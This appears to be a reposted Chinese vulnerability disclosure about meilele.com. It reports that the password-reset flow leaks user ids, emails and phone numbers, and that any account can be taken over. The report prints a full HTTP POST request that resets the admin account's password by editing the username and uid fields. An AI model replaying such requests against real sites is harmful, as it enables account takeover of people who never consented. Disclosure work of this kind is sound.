1.重置密码时候，泄露用户uid还有邮箱以及手机号码，请加*处理2.任意账号密码重置漏洞：随便提交个账号找回密码，然后获得重置密码的页面，修改POST中的username或者uid都可以达到重置密码的目的
POST /solr_api/Order/personCenter.do HTTP/1.1Host: www.meilele.comProxy-Connection: keep-aliveContent-Length: 127Accept: application/json, text/javascript, */*; q=0.01Origin: http://www.meilele.comX-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Referer: http://www.meilele.com/user/?act=get_password&uid=1&code=666113ec404d63eab04b3e23396e3bd6&type=5&username=wooyunAccept-Encoding: gzip,deflateAccept-Language: zh-CN,zh;q=0.8Cookie: ***username=admin&uid=1&url=%2Fuser%2F%3Fact%3Dget_password&act=get_password&newPassword=密码&confirmPassword=密码
限制
阅读:225270 | 评论:0 | 标签:漏洞
姓名:
邮箱:
网址:
验证码:
记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华